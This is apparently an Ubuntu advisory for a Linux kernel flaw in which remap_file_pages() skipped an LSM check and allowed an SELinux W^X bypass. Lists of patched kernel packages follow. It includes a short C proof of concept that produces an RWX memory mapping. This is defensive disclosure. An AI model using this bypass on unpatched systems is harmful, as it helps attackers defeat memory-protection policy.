In the Linux kernel, the following vulnerability has been resolved: mm: call the securitymmapfile() LSM hook in remapfilepages() The remapfilepages syscall handler calls dommap() directly, which doesn't contain the LSM security check. And if the process has called personality(READIMPLIESEXEC) before and remapfilepages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by securitymmapfile LSM hook in the remapfilepages syscall handler before dommap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { sizet pagesz = sysconf(SCPAGESIZE); int mfd = syscall(SYSmemfdcreate, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROTREAD | PROTWRITE, MAPSHARED, mfd, 0); unsigned int old = syscall(SYSpersonality, 0xffffffff); syscall(SYSpersonality, READIMPLIESEXEC | old); syscall(SYSremapfilepages, buf, pagesz, 0, 2, 0); syscall(SYSpersonality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", ORDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]
{ "availability": "No subscription required", "ubuntu_priority": "medium", "binaries": [ { "binary_version": "6.11.0-18.18", "binary_name": "linux-bpf-dev" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-buildinfo-6.11.0-18-generic" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-buildinfo-6.11.0-18-generic-64k" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-cloud-tools-6.11.0-18" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-cloud-tools-6.11.0-18-generic" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-cloud-tools-common" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-doc" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-headers-6.11.0-18" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-headers-6.11.0-18-generic" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-headers-6.11.0-18-generic-64k" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-image-6.11.0-18-generic" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-image-6.11.0-18-generic-dbgsym" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-image-unsigned-6.11.0-18-generic" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-image-unsigned-6.11.0-18-generic-64k" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-image-unsigned-6.11.0-18-generic-64k-dbgsym" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-image-unsigned-6.11.0-18-generic-dbgsym" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-lib-rust-6.11.0-18-generic" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-libc-dev" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-modules-6.11.0-18-generic" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-modules-6.11.0-18-generic-64k" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-modules-extra-6.11.0-18-generic" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-modules-ipu6-6.11.0-18-generic" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-modules-ipu7-6.11.0-18-generic" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-modules-iwlwifi-6.11.0-18-generic" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-modules-usbio-6.11.0-18-generic" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-modules-vision-6.11.0-18-generic" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-source-6.11.0" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-tools-6.11.0-18" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-tools-6.11.0-18-generic" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-tools-6.11.0-18-generic-64k" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-tools-common" }, { "binary_version": "6.11.0-18.18", "binary_name": "linux-tools-host" } ] }
{ "availability": "No subscription required", "ubuntu_priority": "medium", "binaries": [ { "binary_version": "6.11.0-1009.10", "binary_name": "linux-aws-cloud-tools-6.11.0-1009" }, { "binary_version": "6.11.0-1009.10", "binary_name": "linux-aws-headers-6.11.0-1009" }, { "binary_version": "6.11.0-1009.10", "binary_name": "linux-aws-tools-6.11.0-1009" }, { "binary_version": "6.11.0-1009.10", "binary_name": "linux-buildinfo-6.11.0-1009-aws" }, { "binary_version": "6.11.0-1009.10", "binary_name": "linux-cloud-tools-6.11.0-1009-aws" }, { "binary_version": "6.11.0-1009.10", "binary_name": "linux-headers-6.11.0-1009-aws" }, { "binary_version": "6.11.0-1009.10", "binary_name": "linux-image-unsigned-6.11.0-1009-aws" }, { "binary_version": "6.11.0-1009.10", "binary_name": "linux-image-unsigned-6.11.0-1009-aws-dbgsym" }, { "binary_version": "6.11.0-1009.10", "binary_name": "linux-modules-6.11.0-1009-aws" }, { "binary_version": "6.11.0-1009.10", "binary_name": "linux-modules-extra-6.11.0-1009-aws" }, { "binary_version": "6.11.0-1009.10", "binary_name": "linux-tools-6.11.0-1009-aws" } ] }
{ "availability": "No subscription required", "ubuntu_priority": "medium", "binaries": [ { "binary_version": "6.11.0-1009.9", "binary_name": "linux-azure-cloud-tools-6.11.0-1009" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-azure-headers-6.11.0-1009" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-azure-tools-6.11.0-1009" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-buildinfo-6.11.0-1009-azure" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-cloud-tools-6.11.0-1009-azure" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-headers-6.11.0-1009-azure" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-image-unsigned-6.11.0-1009-azure" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-image-unsigned-6.11.0-1009-azure-dbgsym" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-modules-6.11.0-1009-azure" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-modules-extra-6.11.0-1009-azure" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-modules-iwlwifi-6.11.0-1009-azure" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-tools-6.11.0-1009-azure" } ] }
{ "availability": "No subscription required", "ubuntu_priority": "medium", "binaries": [ { "binary_version": "6.11.0-1009.9", "binary_name": "linux-buildinfo-6.11.0-1009-gcp" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-gcp-headers-6.11.0-1009" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-gcp-tools-6.11.0-1009" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-headers-6.11.0-1009-gcp" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-image-unsigned-6.11.0-1009-gcp" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-image-unsigned-6.11.0-1009-gcp-dbgsym" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-modules-6.11.0-1009-gcp" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-modules-extra-6.11.0-1009-gcp" }, { "binary_version": "6.11.0-1009.9", "binary_name": "linux-tools-6.11.0-1009-gcp" } ] }
{ "availability": "No subscription required", "ubuntu_priority": "medium", "binaries": [ { "binary_version": "6.11.0-1010.11", "binary_name": "linux-buildinfo-6.11.0-1010-lowlatency" }, { "binary_version": "6.11.0-1010.11", "binary_name": "linux-buildinfo-6.11.0-1010-lowlatency-64k" }, { "binary_version": "6.11.0-1010.11", "binary_name": "linux-cloud-tools-6.11.0-1010-lowlatency" }, { "binary_version": "6.11.0-1010.11", "binary_name": "linux-headers-6.11.0-1010-lowlatency" }, { "binary_version": "6.11.0-1010.11", "binary_name": "linux-headers-6.11.0-1010-lowlatency-64k" }, { "binary_version": "6.11.0-1010.11", "binary_name": "linux-image-unsigned-6.11.0-1010-lowlatency" }, { "binary_version": "6.11.0-1010.11", "binary_name": "linux-image-unsigned-6.11.0-1010-lowlatency-64k" }, { "binary_version": "6.11.0-1010.11", "binary_name": "linux-image-unsigned-6.11.0-1010-lowlatency-64k-dbgsym" }, { "binary_version": "6.11.0-1010.11", "binary_name": "linux-image-unsigned-6.11.0-1010-lowlatency-dbgsym" }, { "binary_version": "6.11.0-1010.11", "binary_name": "linux-lowlatency-cloud-tools-6.11.0-1010" }, { "binary_version": "6.11.0-1010.11", "binary_name": "linux-lowlatency-headers-6.11.0-1010" }, { "binary_version": "6.11.0-1010.11", "binary_name": "linux-lowlatency-lib-rust-6.11.0-1010-lowlatency" }, { "binary_version": "6.11.0-1010.11", "binary_name": "linux-lowlatency-tools-6.11.0-1010" }, { "binary_version": "6.11.0-1010.11", "binary_name": "linux-modules-6.11.0-1010-lowlatency" }, { "binary_version": "6.11.0-1010.11", "binary_name": "linux-modules-6.11.0-1010-lowlatency-64k" }, { "binary_version": "6.11.0-1010.11", "binary_name": "linux-modules-iwlwifi-6.11.0-1010-lowlatency" }, { "binary_version": "6.11.0-1010.11", "binary_name": "linux-tools-6.11.0-1010-lowlatency" }, { "binary_version": "6.11.0-1010.11", "binary_name": "linux-tools-6.11.0-1010-lowlatency-64k" } ] }
{ "availability": "No subscription required", "ubuntu_priority": "medium", "binaries": [ { "binary_version": "6.11.0-1011.12", "binary_name": "linux-buildinfo-6.11.0-1011-oracle" }, { "binary_version": "6.11.0-1011.12", "binary_name": "linux-buildinfo-6.11.0-1011-oracle-64k" }, { "binary_version": "6.11.0-1011.12", "binary_name": "linux-headers-6.11.0-1011-oracle" }, { "binary_version": "6.11.0-1011.12", "binary_name": "linux-headers-6.11.0-1011-oracle-64k" }, { "binary_version": "6.11.0-1011.12", "binary_name": "linux-image-unsigned-6.11.0-1011-oracle" }, { "binary_version": "6.11.0-1011.12", "binary_name": "linux-image-unsigned-6.11.0-1011-oracle-64k" }, { "binary_version": "6.11.0-1011.12", "binary_name": "linux-image-unsigned-6.11.0-1011-oracle-64k-dbgsym" }, { "binary_version": "6.11.0-1011.12", "binary_name": "linux-image-unsigned-6.11.0-1011-oracle-dbgsym" }, { "binary_version": "6.11.0-1011.12", "binary_name": "linux-modules-6.11.0-1011-oracle" }, { "binary_version": "6.11.0-1011.12", "binary_name": "linux-modules-6.11.0-1011-oracle-64k" }, { "binary_version": "6.11.0-1011.12", "binary_name": "linux-modules-extra-6.11.0-1011-oracle" }, { "binary_version": "6.11.0-1011.12", "binary_name": "linux-modules-extra-6.11.0-1011-oracle-64k" }, { "binary_version": "6.11.0-1011.12", "binary_name": "linux-oracle-headers-6.11.0-1011" }, { "binary_version": "6.11.0-1011.12", "binary_name": "linux-oracle-tools-6.11.0-1011" }, { "binary_version": "6.11.0-1011.12", "binary_name": "linux-tools-6.11.0-1011-oracle" }, { "binary_version": "6.11.0-1011.12", "binary_name": "linux-tools-6.11.0-1011-oracle-64k" } ] }
{ "availability": "No subscription required", "ubuntu_priority": "medium", "binaries": [ { "binary_version": "6.11.0-1008.8", "binary_name": "linux-buildinfo-6.11.0-1008-raspi" }, { "binary_version": "6.11.0-1008.8", "binary_name": "linux-headers-6.11.0-1008-raspi" }, { "binary_version": "6.11.0-1008.8", "binary_name": "linux-image-6.11.0-1008-raspi" }, { "binary_version": "6.11.0-1008.8", "binary_name": "linux-image-6.11.0-1008-raspi-dbgsym" }, { "binary_version": "6.11.0-1008.8", "binary_name": "linux-modules-6.11.0-1008-raspi" }, { "binary_version": "6.11.0-1008.8", "binary_name": "linux-raspi-headers-6.11.0-1008" }, { "binary_version": "6.11.0-1008.8", "binary_name": "linux-raspi-tools-6.11.0-1008" }, { "binary_version": "6.11.0-1008.8", "binary_name": "linux-tools-6.11.0-1008-raspi" } ] }
{ "availability": "No subscription required", "ubuntu_priority": "medium", "binaries": [ { "binary_version": "6.11.0-1005.5", "binary_name": "linux-buildinfo-6.11.0-1005-realtime" }, { "binary_version": "6.11.0-1005.5", "binary_name": "linux-cloud-tools-6.11.0-1005-realtime" }, { "binary_version": "6.11.0-1005.5", "binary_name": "linux-headers-6.11.0-1005-realtime" }, { "binary_version": "6.11.0-1005.5", "binary_name": "linux-image-unsigned-6.11.0-1005-realtime" }, { "binary_version": "6.11.0-1005.5", "binary_name": "linux-image-unsigned-6.11.0-1005-realtime-dbgsym" }, { "binary_version": "6.11.0-1005.5", "binary_name": "linux-modules-6.11.0-1005-realtime" }, { "binary_version": "6.11.0-1005.5", "binary_name": "linux-modules-extra-6.11.0-1005-realtime" }, { "binary_version": "6.11.0-1005.5", "binary_name": "linux-modules-iwlwifi-6.11.0-1005-realtime" }, { "binary_version": "6.11.0-1005.5", "binary_name": "linux-realtime-cloud-tools-6.11.0-1005" }, { "binary_version": "6.11.0-1005.5", "binary_name": "linux-realtime-headers-6.11.0-1005" }, { "binary_version": "6.11.0-1005.5", "binary_name": "linux-realtime-tools-6.11.0-1005" }, { "binary_version": "6.11.0-1005.5", "binary_name": "linux-tools-6.11.0-1005-realtime" } ] }
{ "availability": "No subscription required", "ubuntu_priority": "medium", "binaries": [ { "binary_version": "6.11.0-17.17.1", "binary_name": "linux-buildinfo-6.11.0-17-generic" }, { "binary_version": "6.11.0-17.17.1", "binary_name": "linux-headers-6.11.0-17-generic" }, { "binary_version": "6.11.0-17.17.1", "binary_name": "linux-image-6.11.0-17-generic" }, { "binary_version": "6.11.0-17.17.1", "binary_name": "linux-image-6.11.0-17-generic-dbgsym" }, { "binary_version": "6.11.0-17.17.1", "binary_name": "linux-modules-6.11.0-17-generic" }, { "binary_version": "6.11.0-17.17.1", "binary_name": "linux-riscv-headers-6.11.0-17" }, { "binary_version": "6.11.0-17.17.1", "binary_name": "linux-riscv-tools-6.11.0-17" }, { "binary_version": "6.11.0-17.17.1", "binary_name": "linux-tools-6.11.0-17-generic" } ] }
{ "availability": "No subscription required", "ubuntu_priority": "medium", "binaries": [ { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-buildinfo-6.11.0-17-generic" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-buildinfo-6.11.0-17-generic-64k" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-cloud-tools-6.11.0-17-generic" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-headers-6.11.0-17-generic" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-headers-6.11.0-17-generic-64k" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-hwe-6.11-cloud-tools-6.11.0-17" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-hwe-6.11-headers-6.11.0-17" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-hwe-6.11-lib-rust-6.11.0-17-generic" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-hwe-6.11-tools-6.11.0-17" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-image-6.11.0-17-generic" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-image-6.11.0-17-generic-dbgsym" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-image-unsigned-6.11.0-17-generic" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-image-unsigned-6.11.0-17-generic-64k" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-image-unsigned-6.11.0-17-generic-64k-dbgsym" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-image-unsigned-6.11.0-17-generic-dbgsym" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-modules-6.11.0-17-generic" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-modules-6.11.0-17-generic-64k" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-modules-extra-6.11.0-17-generic" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-modules-ipu6-6.11.0-17-generic" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-modules-ipu7-6.11.0-17-generic" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-modules-iwlwifi-6.11.0-17-generic" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-modules-usbio-6.11.0-17-generic" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-modules-vision-6.11.0-17-generic" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-tools-6.11.0-17-generic" }, { "binary_version": "6.11.0-17.17~24.04.2", "binary_name": "linux-tools-6.11.0-17-generic-64k" } ] }